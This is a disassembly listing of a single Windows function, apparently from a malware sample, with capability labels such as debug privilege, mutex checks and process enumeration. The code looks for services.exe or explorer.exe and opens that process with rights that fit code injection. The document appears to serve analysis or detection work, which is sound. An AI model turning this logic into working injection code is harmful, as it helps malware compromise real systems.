Function at 0x4019a9
Capabilities:
Acquire debug privileges
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Enumerate processes
Initialize winsock library
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x3f4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x1c4]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
jne 0x401d6f
mov dword [esp + 8], 0x409008
mov dword [esp + 4], 0
mov dword [esp], 0x100000
mov eax, dword [sym.imp.KERNEL32.dll_OpenMutexW]
call eax
sub esp, 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401d72
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 2
jne 0x401d75
call fcn.00402120
mov dword [section..bss], eax
mov eax, dword [section..bss]
test eax, eax
je 0x401d78
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
lea eax, [ebp - 0x3f8]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.KERNEL32.dll_IsWow64Process]
call eax
sub esp, 8
test eax, eax
je 0x401d7b
mov dword [esp], 0
call fcn.004024b9
mov dword [ebp - 0x34], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call eax
mov dword [ebp - 0x30], eax
mov dword [esp + 4], 0x208
mov dword [esp], 0
call fcn.00401de8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401d7e
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.00401ee9
sub eax, 2
shr eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call eax
sub esp, 0xc
test eax, eax
je 0x401d81
lea eax, [ebp - 0x3f4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.004029e3
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401d84
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x2c]
add eax, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 8]
test eax, eax
jne 0x401b71
mov edx, dword [section..bss]
mov eax, dword [ebp - 0x24]
mov dword [eax + 8], edx
jmp 0x401b84
mov eax, dword [ebp - 0x24]
mov edx, dword [eax + 8]
mov eax, dword [section..bss]
cmp edx, eax
jne 0x401d87
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], 0
call fcn.004023b0
test eax, eax
je 0x401d8a
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401d8d
mov dword [esp + 4], 0x22c
lea eax, [ebp - 0x3f0]
mov dword [esp], eax
call fcn.004042e0
sub esp, 8
mov dword [ebp - 0x3f0], 0x22c
lea eax, [ebp - 0x3f0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32FirstW
sub esp, 8
test eax, eax
je 0x401d90
cmp dword [ebp - 0x34], 0
je 0x401c3a
mov dword [esp + 4], str.services.exe
lea eax, [ebp - 0x3f0]
add eax, 0x24
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_StrCmpIW]
call eax
sub esp, 8
test eax, eax
jne 0x401c65
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x18], eax
jmp 0x401c65
mov dword [esp + 4], str.explorer.exe
lea eax, [ebp - 0x3f0]
add eax, 0x24
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_StrCmpIW]
call eax
sub esp, 8
test eax, eax
jne 0x401c65
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x3f0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32NextW
sub esp, 8
test eax, eax
jne 0x401c07
cmp dword [ebp - 0x18], 0
je 0x401d93
mov eax, dword [ebp - 0x3f8]
test eax, eax
jne 0x401c9c
mov eax, 1
jmp 0x401ca1
mov eax, 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xa
mov dword [esp + 4], eax
mov dword [esp], 0
call fcn.00402641
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401d96
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x43a
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401d99
mov eax, dword [ebp - 0x3f8]
test eax, eax
jne 0x401d3a
mov eax, dword [ebp - 0x3f4]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call section..text
test eax, eax
jmp 0x401d9a
mov eax, dword [ebp - 0x3f4]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00401453
test eax, eax
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
jmp 0x401d9a
nop
cmp dword [ebp - 0x14], 0
je 0x401dab
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.00401e9b
cmp dword [ebp - 0xc], 0xffffffff
je 0x401dc1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
cmp dword [ebp - 0x10], 0xffffffff
je 0x401dd7
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
nop
nop
nop